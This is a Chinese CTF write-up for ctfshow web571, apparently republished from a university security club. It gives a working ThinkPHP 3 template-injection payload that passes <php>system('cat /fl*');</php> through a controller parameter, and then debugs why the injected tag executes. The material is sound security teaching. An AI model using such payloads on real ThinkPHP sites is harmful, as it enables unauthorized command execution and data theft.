记一道Thinkphp题引发的思考

admin 2022年5月21日16:23:33安全文章评论8 views2144字阅读7分8秒阅读模式

本篇仅代表个人观点。

# ctfshow web571


先看题 — ctfshow web571

提示:黑客建立了控制器后门

所以直接从控制器中找利用点,发现
/Home/Controller/indexController.class.php中控制器可传参n,并且在最后会被渲染
public function index($n=''){    $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');}


  所以利用点很明显了直接传参

/index.php/home/index/index/n/{php}system('cat /fl*');{/php}

  但传参后并没有执行,主要是两个问题

1、标签问题,我这里用的是tp5的标签{},但后来经过查看手册tp3的标签是<>


2、就是关于URL解析方式的问题,如果执行语句是常规的echo $n;,是肯定没有问题的,但这里利用点是show方法,传参方式就需要是?n=这种常规的方式,之前的方式传入标签后是不会被解析的,本地测试了一下确实是这样:

<?phpnamespace HomeController;use ThinkController;
class IndexController extends Controller{ public function index($name=''){ $this->show($name); }}

记一道Thinkphp题引发的思考


  所以最后的payload:

/index.php/home/index/index/?n=<php>system('cat /fl*');</php>


# 本地调试


本地有环境顺便debug了一波:


  跟进show()->display()->fetch(),之前的$content一直是<php>echo 'Sentiment';</php>,经过129行后变成了Sentiment


记一道Thinkphp题引发的思考


  就很疑惑跟了进去,发现这个地方进行了赋值

记一道Thinkphp题引发的思考


  看了一下ob_get_contents用法——返回输出缓冲区的内容

记一道Thinkphp题引发的思考


 这里echo没执行的原因:


 ob_start()把输出内容输出到缓冲区,而不是到浏览器。然后用ob_get_contents得到缓冲区的数据。

# 思考


  看完后就更蒙蔽了,这里为什么会在缓冲区进行解析?

  后来看了师傅的文章,他说本题由于TMPL_ENGINE_TYPE我们默认的值是Think,而ctfshow设置的是php,所以可以进入117行的if,从而执行eval,执行了我们输入的语句


记一道Thinkphp题引发的思考

 

  后来我把TMPL_ENGINE_TYPE改成了php进行debug,但无法正常解析执行。而且还有个问题就是即使我们不使用php而是使用默认的Think,模板也照样会渲染输出最后的Sentiment
所以我认为这里跟eval语句无关,还是一个缓冲区的问题。(仅个人观点)

  于是在本地进行了ob_get_contents()的测试

<?phpob_start();echo "<br>echo '12'</br>";$out1 = ob_get_contents();ob_end_clean();var_dump($out1);?>

记一道Thinkphp题引发的思考


  发现渲染了<br>标签,发生了换行,但里边的语句并没有执行

  所以在tp源码这里,由于tp内置标签<php>会执行php语句,所以在渲染<php>echo 'Sentiment';</php>标签时,就相当于是执行了php语句echo 'Sentiment';,而由于ob_start()的存在这里的echo并不会直接输出出来,而是先放到缓存区,之后再通过ob_get_contents()得到缓冲区数据,就得到了最后的Sentiment值,

  所以在tp的内部就相当于执行了:
<?phpob_start();echo 'Sentiment';$contents = ob_get_contents();if ($contents !== false) ob_end_clean();return $contents;?>


  再经过retrun 返回就得到了129行的$content=Sentiment


  后来查资料看师傅说:

大部分使用 php模板引擎技术 外部可以控制的情况下,都容易存在这种问题跟tp框架无关但并没有做过多的解释。



网络安全社团公众号

微信号 : qlnu_ctf

新浪微博:齐鲁师范学院网络安全社团

记一道Thinkphp题引发的思考


原文始发于微信公众号(齐鲁师院网络安全社团):记一道Thinkphp题引发的思考

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月21日16:23:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  记一道Thinkphp题引发的思考 http://cn-sec.com/archives/1035780.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: